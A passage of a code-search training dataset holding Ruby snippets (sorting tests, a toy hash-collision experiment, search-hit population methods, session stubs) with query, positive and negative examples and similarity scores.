"def _versioncmp(a, b)\n a, b = a.to_s.split('.'), b.to_s.split('.')\n [a.length, b.length].max.times do |i|\n return -1 if a[i].to_i < b[i].to_i\n return 1 if a[i].to_i > b[i].to_i\n end\n return 0\nend",
"def test_e2125_insertion_sort_no_swap\n \t# puts \"*** Executing insertion_sort_without_exchanges_e2125_test ***\"\n check_sort_correctness :e2125_insertion_sort_no_swap\n\n elements = (0..200).to_a\n shuffled_b = elements.shuffle\n shuffled_a = elements.shuffle\n \n faster = lambda { @target.e2125_insertion_sort_no_swap shuffled_a }\n slower = lambda { standard_insertion_sort shuffled_b } \n\n assert_faster_proc faster, slower\n end",
"def check_timestamps(block1, block2)\n timestamp_one_string = block1.timestamp_string.split('.')\n timestamp_two_string = block2.timestamp_string.split('.')\n\n timestamp_one_partition = timestamp_one_string.map(&:to_i)\n timestamp_two_partition = timestamp_two_string.map(&:to_i)\n\n if timestamp_two_partition[0] < timestamp_one_partition[0]\n puts \"Line #{block2.block_number}: Previous timestamp #{block1.timestamp_string}\n \t>= new timestamp #{block2.timestamp_string}\"\n return false\n end\n\n if timestamp_two_partition[0] == timestamp_one_partition[0]\n if timestamp_two_partition[1] <= timestamp_one_partition[1]\n puts \"Line #{block2.block_number}: Previous timestamp #{block1.timestamp_string}\n \t >= new timestamp #{block2.timestamp_string}\"\n return false\n end\n end\n true\n end",
"def key_for_min_value(ha)\nans = 999999999\n ha.each do |hash, key|\n if key < ans\n ans = key\n end\n end\n \n ha.each do |hash1, key1|\n if key1===ans\n return hash1\n end\n end\n puts ans\n\nend",
"def compare_eflh(runner, old_sch, new_sch)\n \n if old_sch.to_ScheduleRuleset.is_initialized\n old_sch = old_sch.to_ScheduleRuleset.get\n elsif old_sch.to_ScheduleConstant.is_initialized\n old_sch = old_sch.to_ScheduleConstant.get\n else\n runner.registerWarning(\"Can only calculate equivalent full load hours for ScheduleRuleset or ScheduleConstant schedules. #{old_sch.name} is neither.\")\n return false\n end\n\n if new_sch.to_ScheduleRuleset.is_initialized\n new_sch = new_sch.to_ScheduleRuleset.get\n elsif new_sch.to_ScheduleConstant.is_initialized\n new_sch = new_sch.to_ScheduleConstant.get\n else\n runner.registerWarning(\"Can only calculate equivalent full load hours for ScheduleRuleset or ScheduleConstant schedules. #{new_sch.name} is neither.\")\n return false\n end \n \n new_eflh = new_sch.annual_equivalent_full_load_hrs\n old_eflh = old_sch.annual_equivalent_full_load_hrs\n if new_eflh < old_eflh\n runner.registerInfo(\"The new occupancy-tracking HVAC operation schedule, #{new_sch.name} (#{new_eflh.round} EFLH) is more aggressive than the existing schedule #{old_sch.name} (#{old_eflh.round} EFLH).\")\n return true\n elsif new_eflh == old_eflh\n runner.registerWarning(\"The existing HVAC operation schedule, #{old_sch.name} (#{old_eflh.round} EFLH), is equally as aggressive as the new occupancy-tracking schedule #{new_sch.name} (#{new_eflh.round} EFLH). Not applying new schedule.\")\n return false \n elsif\n runner.registerWarning(\"The existing HVAC operation schedule, #{old_sch.name} (#{old_eflh.round} EFLH), is more aggressive than the new occupancy-tracking schedule #{new_sch.name} (#{new_eflh.round} EFLH). Not applying new schedule.\")\n return false\n end\n \n end",
"def my_min2(arr)\n timestart = Time.now\n smallest = arr[0]\n (1...arr.length).each do |idx|\n smallest = arr[idx] if smallest > arr[idx]\n end\n p (Time.now - timestart) * 1000\n smallest\nend",
"def compare(move1, move2)\n \nend",
"def compare(move1, move2)\n \nend",
"def >= other\n #This is a stub, used for indexing\n end",
"def kangaroo(x1, v1, x2, v2)\n kang_1_position = x1\n kang_2_position = x2\n kang_1_jumps = 0\n kang_2_jumps = 0\n\n # Return yes if kang 1 and 2 will be on the some spot after the same number of jumps\n while kang_1_position <= 100000000 && kang_2_position <= 100000000\n if kang_1_position == kang_2_position && kang_1_jumps == kang_2_jumps\n print \"YES\"\n return\n end\n kang_1_position += v1\n kang_2_position += v2\n kang_1_jumps += 1\n kang_2_jumps += 1\n end\n print \"NO\"\nend",
"def compute\n ans = 0 \n for a in 100..999\n for b in 100..999\n ab = a * b \n ans = ab if palindrome? ab and ab > ans \n end\n end\n ans\nend",
"def okay_two_sum?(arr, target)\n arr = arr.sort #n log n\n (0...arr.length).each do |i| #n\n search = bsearch(arr, target-arr[i]) # log n\n return true unless search.nil?\n end #n log n\n false\nend",
"def kangaroo(x1, v1, x2, v2)\n # Complete this function\n (x1 - x2) % (v1 - v2) === 0 ? 'YES' : 'NO'\nend",
"def phase_two(arr)\n min = arr[0]\n arr.each do |ele|\n if ele < min\n min = ele\n end\n end\n\n min\nend",
"def hamming_dist(obj)\n a_bits = @value.unpack(\"B*\").join.chars\n b_bits = str(obj).unpack(\"B*\").join.chars\n\n length_dist = (a_bits.length - b_bits.length).abs\n a_bits, b_bits = b_bits, a_bits if length_dist > 0\n\n a_bits[0, b_bits.length].zip(b_bits).reduce(0) do |sum, values|\n sum + (values[0] == values[1] ? 0 : 1)\n end => diff_dist\n\n diff_dist + length_dist\n end",
"def collision_attack(bit_size, set_index = 0)\n # randomize the set of preimages to make each trial different\n digests = Array.new(SHUFFLED_RAND_STRINGS[set_index].size)\n found = false\n used_digests=0\n # for every new digest computed, compare it against the list of known digests to find a match\n SHUFFLED_RAND_STRINGS[set_index].each_with_index do |rstring1, index1|\n digests[index1] = create_digest(rstring1, bit_size)\n used_digests += 1\n # the '-1' prevents the digest from being compared with itself\n (index1-1).times.each do |index2|\n if digests[index1] == digests[index2] then\n found = true\n break\n end\n end\n break if found\n end\n raise \"no collision found\" if !found\n used_digests\nend",
"def faster_cont_sum(arr)\n # debugger\n sum = arr[0]\n bool = true\n run_tot = arr[0]\n arr[1..-1].each do |e|\n if bool == false && e > sum\n sum = e\n bool = true\n run_tot = e\n elsif bool == true && e + sum > sum\n sum += e\n run_tot += e\n elsif bool == true && e > sum\n sum = e\n else \n bool = false\n run_tot += e\n end \n end \n sum >= run_tot ? sum : run_tot\nend"
] |
[
"0.6825186",
"0.65347683",
"0.65347683",
"0.65347683",
"0.6160875",
"0.6094885",
"0.6056571",
"0.6020498",
"0.6000703",
"0.5943707",
"0.5933233",
"0.5917282",
"0.59100205",
"0.58980435",
"0.5894234",
"0.58850276",
"0.5883883",
"0.58758026",
"0.58721113",
"0.5858641",
"0.583682",
"0.5825765",
"0.57993954",
"0.5796946",
"0.57937515",
"0.577689",
"0.5770222",
"0.57698673",
"0.5769399",
"0.576594",
"0.57615864",
"0.5748375",
"0.5739526",
"0.5738785",
"0.57347536",
"0.5722742",
"0.5722207",
"0.57156163",
"0.5695422",
"0.5680315",
"0.5667213",
"0.565337",
"0.56466365",
"0.56263685",
"0.5625699",
"0.56176805",
"0.55858797",
"0.55637866",
"0.55283237",
"0.5527569",
"0.5518343",
"0.55179805",
"0.55101097",
"0.5480825",
"0.5480508",
"0.5478433",
"0.5474055",
"0.54734635",
"0.54696834",
"0.5464774",
"0.5462931",
"0.54613227",
"0.5459945",
"0.54535615",
"0.54462487",
"0.54459995",
"0.5440998",
"0.5427512",
"0.5425167",
"0.5419501",
"0.5413297",
"0.540986",
"0.54089606",
"0.54079956",
"0.54078674",
"0.54075754",
"0.54019034",
"0.54010534",
"0.5397959",
"0.539774",
"0.5388046",
"0.5382419",
"0.53754514",
"0.5372235",
"0.53643596",
"0.5358891",
"0.53533787",
"0.53528816",
"0.53480554",
"0.5342732",
"0.5342732",
"0.5342621",
"0.5339979",
"0.5335103",
"0.5330639",
"0.532973",
"0.53231764",
"0.5316336",
"0.5313723",
"0.5313438"
] |
0.5917478
|
11
|
TODO only session spec
|
def hits(options = {})
if options[:verify]
verified_hits
elsif solr_docs
solr_docs.map { |d| OoorHit.new(d, highlights_for(d), self) }
else
[]
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def session; end",
"def session; end",
"def session; end",
"def session; end",
"def session; @session; end",
"def session; @session; end",
"def session; @session; end",
"def session\n end",
"def open_session; end",
"def session() request.session end",
"def session_id; end",
"def session_id; end",
"def session_id; end",
"def session_options; end",
"def session_options; end",
"def session=(_arg0); end",
"def set_session\n \n end",
"def session ; request.session ; end",
"def save_session(session)\n \n end",
"def session\n self\n end",
"def initialize(session); end",
"def valid_session\r\n {}\r\n end",
"def session_id\n super\n end",
"def session_id\n super\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end"
] |
[
"0.8131701",
"0.8131701",
"0.8131701",
"0.8131701",
"0.7850706",
"0.7850706",
"0.7850706",
"0.7827233",
"0.72940195",
"0.72914696",
"0.7289708",
"0.7289708",
"0.7289708",
"0.72870135",
"0.72870135",
"0.72500587",
"0.7190777",
"0.70664245",
"0.6994817",
"0.6935262",
"0.6909511",
"0.6850599",
"0.6761732",
"0.6761732",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495",
"0.67499495"
] |
0.0
|
-1
|
Populate the Hit objects with their instances. This is invoked the first time any hit has its instance requested, and all hits are loaded as a batch.
|
def populate_hits(session)
id_hit_hash = Hash.new { |h, k| h[k] = {} }
hits.each do |hit|
id_hit_hash[hit.class_name][hit.primary_key] = hit
end
id_hit_hash.each_pair do |class_name, hits|
hits_for_class = id_hit_hash[class_name]
hits.each do |hit_pair|
hit_pair[1].result = session[class_name].from_solr(hit_pair[1].stored_values)
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def populate_hits #:nodoc:\n id_hit_hash = Hash.new { |h, k| h[k] = {} }\n hits.each do |hit|\n id_hit_hash[hit.class_name][hit.primary_key] = hit\n end\n id_hit_hash.each_pair do |class_name, hits|\n ids = hits.map { |id, hit| hit.primary_key }\n data_accessor = data_accessor_for(Util.full_const_get(class_name))\n hits_for_class = id_hit_hash[class_name]\n data_accessor.load_all(ids).each do |result|\n hit = hits_for_class.delete(Adapters::InstanceAdapter.adapt(result).id.to_s)\n hit.result = result\n end\n hits_for_class.values.each { |hit| hit.result = nil }\n end\n end",
"def populate_instances #:nodoc:\n if reference = @field.reference\n values_hash = rows.inject({}) do |hash, row|\n hash[row.value] = row\n hash\n end\n instances = Adapters::DataAccessor.create(Sunspot::Util.full_const_get(reference)).load_all(\n values_hash.keys\n )\n instances.each do |instance|\n values_hash[Adapters::InstanceAdapter.adapt(instance).id].instance = instance\n end\n true\n end\n end",
"def load(hits)\n hit_groups = hits.group_by { |hit| hit['_index'] }\n loaded_objects = hit_groups.each_with_object({}) do |(index_name, hit_group), result|\n index = derive_index(index_name)\n ids = hit_group.map { |hit| hit['_id'] }\n loaded = index.adapter.load(ids, **@options.merge(_index: index.base_name))\n loaded ||= hit_group.map { |hit| index.build(hit) }\n\n result.merge!(hit_group.zip(loaded).to_h)\n end\n\n hits.map { |hit| loaded_objects[hit] }\n end",
"def load_all!\n Log.info \"Loading #{self} list\"\n old_objs = @objs_list || {}\n @objs_list = {}\n each_api_item do |api_hsh|\n params = api_hsh_to_params(api_hsh)\n if obj = old_objs[params[:id]] then obj.update! params\n else obj = self.new(params) end\n register obj\n end\n Log.info \"Loaded list of #{@objs_list.length} #{self}s\"\n @objs_list\n end",
"def populate!(es_hits)\n @hits = es_hits.hits.map do |hit|\n he = HistoryEvent.new\n he.populate_from_db!(hit)\n he\n end\n\n @total = es_hits.total_entries\n end",
"def load_objects\n instance_variable_set(\"@#{model_name.underscore.pluralize}\", (@instances = model.where(params || {}) rescue nil))\n end",
"def set_instances\n @instances =\n case @klass\n when Symbol\n Symbol.all_symbols.sort_by do |s| s.to_s end\n else\n ObjectSpace.to_enum(:each_object, @klass).sort_by{|i| i.object_id}\n end\n end",
"def accumulate_instances\n self.repository = Hash.new { |h,k| h[k] = new(*k) }\n\n begin\n yield\n return repository.values\n ensure\n self.repository = nil\n end\n end",
"def set_hit\n @hit = Hit.find(params[:id])\n end",
"def set_instances\n @resource = Datacite.resource_class.find(params[:resource_id].to_i) unless params[:resource_id].blank?\n @creator = Creator.where(resource_id: @resource.id).first_or_initialize\n @contributor = Contributor.where(resource_id: @resource.id).first_or_initialize\n @subject = Subject.where(resource_id: @resource.id).first_or_initialize\n @description = Description.where(resource_id: @resource.id).first_or_initialize\n @publisher = Publisher.where(resource_id: @resource.id).first_or_initialize\n @title = Title.where(resource_id: @resource.id).first_or_initialize\n @publication_year = PublicationYear.where(resource_id: @resource.id).first_or_initialize\n end",
"def all\n response = request(:get_all)\n handles = response.values.flatten.collect { |handle| Entity::Handle.build(handle) }\n\n if handles.size == 1\n # Fetch data for single entity\n find(handles.first)\n elsif handles.size > 1\n # Fetch all data for all the entities\n entity_data = get_data_array(handles)\n\n # Build Entity objects and add them to the proxy\n entity_data.each do |data|\n entity = build(data)\n entity.persisted = true\n end\n end\n\n self\n end",
"def create_data\n @entities_total.times do |i|\n @data << entity_class.new(i, self)\n end\n end",
"def call\n reference_objects = if cache_reponse = @redis.hget(@collection_identifier, @collection_params)\n from_cache(cache_reponse)\n else\n from_query\n end\n\n ReferencesMap.new(@aggregator, reference_objects)\n end",
"def instantiate!\n @data.map! { |i| i.respond_to?(:call) ? i.call : i }\n end",
"def all\n response = run\n\n while continue?(response)\n @options[:exclusive_start_key] = response.last_evaluated_key\n response = run(response)\n end\n\n @collection.deserialize(response.entities)\n end",
"def all\n instantiate(raw)\n end",
"def populate(instance)\n instance.proxy_for = resource.proxy_for\n instance.proxy_in = resource.proxy_in\n instance.next_uri = resource.next\n instance.prev_uri = resource.prev\n end",
"def find_all\n response = fetch()\n new(response)\n end",
"def all\n _register_class_observer\n if _class_fetch_states.has_key?(:all) && 'fi'.include?(_class_fetch_states[:all]) # if f_etched or i_n progress of fetching\n collection = HyperRecord::Collection.new\n _record_cache.each_value { |record| collection.push(record) }\n return collection\n end\n promise_all\n HyperRecord::Collection.new\n end",
"def initialize(hits,miss,entries,size)\n @cache_hits=hits\n @cache_miss=miss\n @cache_entries=entries\n @cache_size=size\n end",
"def process matching: {}\n query = collection.query\n\n query = query.matching(matching) if matching.is_a?(Hash)\n\n query.to_a.map { |entity| persist_entity(entity) }\n end",
"def populate!()\n\n tile_factory = TileFactory.new()\n livingbeing_factory = LivingBeingFactory.new()\n\n @m.times do |y|\n @n.times do |x|\n\n # Water vs Ground\n location = Location.new(@n, @m, x, y)\n wg = tile_factory.create(Utils.generate_random_percentage(), location)\n\n if wg\n\n @tiles[x][y] = wg\n else\n\n raise StandardError.new(\"Incorrect Percentages less than 100\")\n end\n\n # If tile is Ground type...\n if @tiles[x][y].is_a?(Ground)\n \n lb = livingbeing_factory.create(Utils.generate_random_percentage())\n\n @tiles[x][y].livingbeing = lb if lb\n end\n end\n end\n\n self\n end",
"def reload\n requires :instance, :identity\n\n data = collection.get(instance, identity)\n merge_attributes(data.attributes)\n self\n end",
"def perform_request_with_objects(request_method, path, options, klass)\n perform_request(request_method, path, options).collect do |element|\n klass.new(element)\n end\n end",
"def initialize(records:)\n @records = records.dup\n @records.compact!\n @records.uniq!\n @records.each { |record| record.lazy_preload_context = self }\n end",
"def init(container)\n @entities = []\n @entities += Array.new(3) { Giant.new(container, self) }\n @entities += Array.new(20) { Goblin.new(container, self) }\n @entities += Array.new(20) { Human.new(container, self) }\n end",
"def instances\n @instances ||= []\n end",
"def cache_instances\n [*Pages.all_instances, *([BlogArticle, Industry, Team].map{|p| p.all })]\n end",
"def hypernova_batch_before\n @hypernova_batch = Hypernova::Batch.new(hypernova_service)\n @hypernova_batch_mapping = {}\n end",
"def load_objects\n instance_variable_set(\"@#{instance_variable_name}\", current_objects)\n end",
"def initialize(self)\n self.objects = []\n self.agents = []\n end",
"def initialize_hotels\n Hotel.all.each do |hotel|\n GameHotel.create(name: hotel.name, hotel_id: hotel.id, game_id: self.id, chain_size: 0, share_price: 0)\n end\n end",
"def load_scraped_objects\n {}.tap do |objects|\n @store.read_multi(@store.entries).each do |properties|\n object = load_scraped_object(properties)\n objects[object._id] = object\n end\n end\n end",
"def create_singletons\n count_items\n create_item_sets\n end",
"def initialize\n @by_class = {}\n end",
"def initialize\n\t\t@grid = Array.new(10) {Array.new(10)}\t##need to change this\n\t\t@ships = []\n\t\t@occupied = []\n\t\t@misses=[]\n\t\t@hits = []\n\tend",
"def reload\n requires :instance, :identity\n\n data = collection.get(self.instance, self.identity)\n merge_attributes(data.attributes)\n self\n end",
"def load(objects)\n self.records = (objects || []).map { |object| new(object) }\n self.loaded = true\n self\n end",
"def init_instances\n instances = []\n next_token = nil\n all_records_retrieved = false\n\n until all_records_retrieved\n response = @@client.describe_instances({\n next_token: next_token\n })\n next_token = response.next_token\n all_records_retrieved = next_token.nil? || next_token.empty?\n instances << response.reservations.map { |r| r.instances }\n end\n\n instances.flatten\n end",
"def fetch\n @routes = []\n source_extractors.keys.each do |source|\n extract_routes(source, data_for_source(source))\n end\n end",
"def populate klass, n = klass::COUNT\n n.times.map {\n o = klass.new self\n yield o if block_given?\n o }\n end",
"def perform_request_with_objects_from_collection(request_method, path, options, klass, collection_name) # rubocop:disable Metrics/ParameterLists\n options = {collection_name.to_sym => options} unless options.empty?\n\n perform_request(request_method, path, options).fetch(collection_name.to_sym).collect do |element|\n klass.new(element)\n end\n end",
"def perform\n entries.each do |entry|\n @items << generate_item(entry)\n end\n add_ids\n end",
"def initialize args={}\n assign(args)\n @associated_objects = Hash.new{ |h, k| h[k] = Set.new }\n end",
"def create_hitsets_and_post(n)\n (n/5).times{self.create_a_hit_and_post!}\n end",
"def fetch_all\n klass_name = Starwars.const_get(name.split('::').last).const_get('RESOURCE_NAME')\n object = Starwars.const_get(\"#{klass_name.capitalize}\").new(url: \"#{Starwars::Base::BASE_URL}/#{klass_name}/\")\n Starwars::Request.new(resource: object, uri: object.url, params: {}).perform_request\n end",
"def batch_new\n @records = Array.new(BATCH_SIZE) { record_class.new }\n end",
"def new\n friend_client.refresh() if params[:refresh] == 'true'\n @unmatched_hits = []\n @matched_hits = []\n @questionable_hits = []\n search_and_match_in_cache do |hit, matches|\n case matches.count\n when 0 then @unmatched_hits << hit\n when 1 then @matched_hits << hit\n else @questionable_hits << hit\n end\n end\n set_counts\n end",
"def fill_map_objects(object_groups)\n @entities = extract(get_objects_by_type(object_groups, 'entities')) {\n |o| Engine::GameEntity.const_get(o.type).new(o.x, o.y, o.type, o.name, o.properties.tap { |x| x.delete(\"image\") })\n }\n #TODO: Parse objects from map\n end",
"def initialize\n @@instances << self\n @queue = []\n @jobs = []\n end",
"def initialize\n @hashes = Hash.new\n bootstrap\n populate\n end",
"def instantiate_collection(collection)\n collection.collect! { |record| instantiate_record(record) }\n end",
"def initialize(name)\n @name = name\n @@all << self #pushes every instance into the @@all array\nend",
"def load_entities\r\n\r\n # Cycle thru the list of objects\r\n for i in 0...@objects.size\r\n\r\n # Handle each type differently\r\n case @objects[i][0]\r\n\r\n # Player character, so initialize a Protagonist object\r\n when \"player\"\r\n\r\n # Generate the protagonist start location\r\n @player = Protagonist.new(@objects[i][1].to_f, @objects[i][2].to_f)\r\n\r\n # Debug mode, tell the developer what was added.\r\n if $debug_mode == 1 then\r\n print \"load_entities() --> [ player,\",\r\n @objects[i][1].to_f,\r\n \",\",\r\n @objects[i][2].to_f,\r\n \"]\\n\"\r\n end\r\n\r\n # Otherwise probably an item, so initialize an Item object\r\n when \"flop4\", \"compact_disc_01\"\r\n\r\n # Add the item to the list of entities\r\n @entities << Item.new(@objects[i][1].to_f, @objects[i][2].to_f, @objects[i][0])\r\n\r\n # Debug mode, tell the developer what was added.\r\n if $debug_mode == 1 then\r\n print \"load_entities() --> [ \",\r\n @objects[i][0],\r\n \",\",\r\n @objects[i][1].to_f,\r\n \",\",\r\n @objects[i][2].to_f,\r\n \"]\\n\"\r\n end\r\n end\r\n end\r\n end",
"def load_objects\n @objects = scope.all\n instance_variable_set \"@#{object_name.pluralize}\", @objects\n end",
"def instantiate_result es_hit\n data_parsed, new_version_number = self.perform_data_version_migrations(JSON.parse(es_hit['_source']['data_json']), es_hit['_source']['data_version'])\n instance = self.new(data_parsed, es_hit['_id'])\n instance.data_version = new_version_number\n instance.after_find\n instance\n end",
"def create_entities\n results = []\n if @attributes.has_key?(:entities)\n @attributes[:entities].each do |result|\n results.push Muddyit::Collections::Collection::Entities::Entity.new(@muddyit, result.merge!(:collection => @attributes[:collection]))\n end\n @attributes[:entities] = results\n end\n end",
"def method_missing(meth, *args, &block)\n (ARRAY.respond_to?(meth) ? @instance.send(:load_associated_objects, @reflection, @reload) : @instance.send(@reflection.dataset_method)).\n send(meth, *args, &block)\n end",
"def gather!\n @observations = get_datas!\n @last_observation_at = Observation.last(:select => :observed_at).try(:observed_at)\n collection = @last_observation_at.nil? ? @observations : only_the_ones_we_care_about\n collection.each do |observation|\n o = Observation.create observation\n Observation.logger.info \"created #{o.inspect}\"\n end\n end",
"def build_instances\n filter_instances.map.with_index do |(suite, platform), index|\n new_instance(suite, platform, index)\n end\n end",
"def preload\n entries\n collections.each &:preload\n nil\n end",
"def each_hit(&x) #:yields: hit\n @hits.each(&x)\n end",
"def each_hit(&x) #:yields: hit\n @hits.each(&x)\n end",
"def each_hit(&x) #:yields: hit\n @hits.each(&x)\n end",
"def gather!\n Observation.prune!\n\n @observations = get_datas!\n @last_observation_at = Observation.select(:observed_at).last.try(:observed_at)\n collection = @last_observation_at.nil? ? @observations : only_the_ones_we_care_about\n collection.each do |observation|\n o = Observation.create observation\n Observation.logger.info \"created #{o.inspect}\"\n end\n end",
"def initialize#(attributes={})\r\n @fully_fetched = false\r\n @services = {}\r\n #attributes.each { |key, value| self.send((\"#{key}=\"), value) }\r\n self.class.all.push(self)\r\n end",
"def all\n super | entities | action_instances\n end",
"def init\n super_init\n @persistent_store = PersistentStore.alloc.init\n create_all_tiles if @persistent_store.fresh?\n self\n end",
"def create_hits_form\n @hit = Hit.new(\n :rewardAmount => 0.05,\n :lifetimeInSeconds => 3600 * 24 * 7,\n :autoApprovalDelayInSeconds => 3600 * 24,\n :assignmentDurationInSeconds => 60 * 5,\n :maxAssignments => 3)\n end",
"def initialize(*params)\n parse_params(params)\n\n if self.class.klass.nil?\n fail 'Collected class not set, please either pass a class to initialize or call collected_class'\n end\n # If you pass in different types of things here we can't be friends\n initialize_objects(@objects) unless @objects.first.instance_of? self.class.klass\n\n super @objects\n end",
"def initialize\n @@spots = {}\n @@fines = {}\n end",
"def instances\n Egi::Fedcloud::Vmhound::Log.info \"[#{self.class}] Retrieving active instances\"\n fetch_instances\n end",
"def populate &block\n instance_eval(&block)\n self\n end",
"def initialize_association_cache(objects)\n name = self[:name]\n if assign_singular?\n objects.each{|object| object.associations[name] = nil}\n else\n objects.each{|object| object.associations[name] = []}\n end\n end",
"def instantiated\n instances || instance\n end",
"def initialize()\n # @popresult = PopulateResults.new\n # @pophist = PopulateNewsHistoricResults.new\n end",
"def fetch_products_with_crawler\n crawler_items.each do |crawler_item|\n products.create_from_crawler crawler_item\n end\n end",
"def prepare!\n @lookups = {}\n scan_resources!\n build_index!\n build_lookups!\n \n pp @lookups\n end",
"def hit_objects\n game_state.game_object_map.collisions_with(self)\n #[game_state.game_object_map.from_game_object(self)]\n end",
"def instances_from_matches\n return single_class_results if one_class\n \n groups = results[:matches].group_by { |match|\n match[:attributes][\"class_crc\"]\n }\n groups.each do |crc, group|\n group.replace(\n instances_from_class(class_from_crc(crc), group)\n )\n end\n \n results[:matches].collect do |match|\n groups.detect { |crc, group|\n crc == match[:attributes][\"class_crc\"]\n }[1].compact.detect { |obj|\n obj.primary_key_for_sphinx == match[:attributes][\"sphinx_internal_id\"]\n }\n end\n end",
"def prepare_data(results_hash)\n\n @entities_store = {}\n @generic_relations_store = {}\n @events_store = {}\n # find all Entities in response\n @entities_store = results_hash.select{|key, hash| hash[\"_typeGroup\"] == \"entities\"}\n # find all GenericRelations in response\n @generic_relations_store = results_hash.select{|key, hash| hash[\"_typeGroup\"] == \"relations\" &&\n hash[\"_type\"] == \"GenericRelations\"}\n # find all Events in response\n @events_store = results_hash.select{|key, hash| hash[\"_typeGroup\"] == \"relations\" &&\n hash[\"_type\"] != \"GenericRelations\"}\n\n Ohm.redis = Redic.new(REDIS)\n\n\n #for each Entity find all related Relations and Events and store them to Ohm/Redis\n @entities_store.each_pair do |k, v|\n\n entity_set = EntityModel.find(calais_id: k)\n\n if entity_set.size > 0 #entity already exists in store\n entity = entity_set.first\n k = entity.calais_id\n else #entity doesn't exist in store\n entity = EntityModel.create(:name => v['name'], :type => v['_type'], :calais_id => k)\n entity.save\n end #if\n\n\n #get all referenced relations\n find_in_relations(k).each do |obj|\n\n found_rel = get_relation(obj[0])\n if found_rel\n\n found_rel.subject = convert_to_hash(found_rel.subject)\n found_rel.object = convert_to_hash(found_rel.object)\n\n relation = EntityModel::RelationModel.create(:subject => found_rel.subject,\n :object => found_rel.object,\n :verb => found_rel.verb,\n :detection => found_rel.detection,\n :calais_id => obj[0])\n entity.relations.add(relation)\n end #if\n end #each\n #get all referenced events\n find_in_events(k).each do |obj|\n found_event = get_event(obj[0])\n attribs = {}\n if found_event\n\n found_event.each_pair do |key, val|\n\n key = key.to_s.slice(1, key.length-1)\n attribs[key] = val\n\n end #block\n\n event = EntityModel::EventModel.create(:calais_id => obj[0], :info_hash => attribs)\n entity.events.add(event)\n\n end #if\n\n end #each\n end #each_pair\n end",
"def add_to_instances\n instances.each do |ins|\n if ins.ie.nil?\n ins.ie = self\n ins.save\n end\n end\n end",
"def initialize(data)\n @data = data\n @cache_hit = nil\n end",
"def init_query_cache\n @store1 = Store.find(1)\n @store2 = Store.find(2)\n @apple1 = Apple.find(1)\n end",
"def instantiate(ids, args = {})\n expect_args(:instantiate, args, INSTANTIATE_ARGS)\n @results ||= {}\n ids.map!(&:to_i)\n needed = (ids - @results.keys).uniq\n add_needed_to_results(needed: needed, args: args) if needed.any?\n ids.filter_map { |id| @results[id] }\n end",
"def setup_population\n destroy_data\n reindex\n @total_pages = nil\n @pages_retrieved = 0\n end",
"def process_init()\n super()\n\n @total_campgrounds = []\n @counters = {\n location: [],\n at_a_glance: []\n }\n end",
"def instances\n end",
"def each(&block)\n @data.each do |attrs|\n yield @resource_class.new(attrs)\n end\n end",
"def build_ships\n 5.times do\n ship = self.ships.build\n ship.populate\n end\n end",
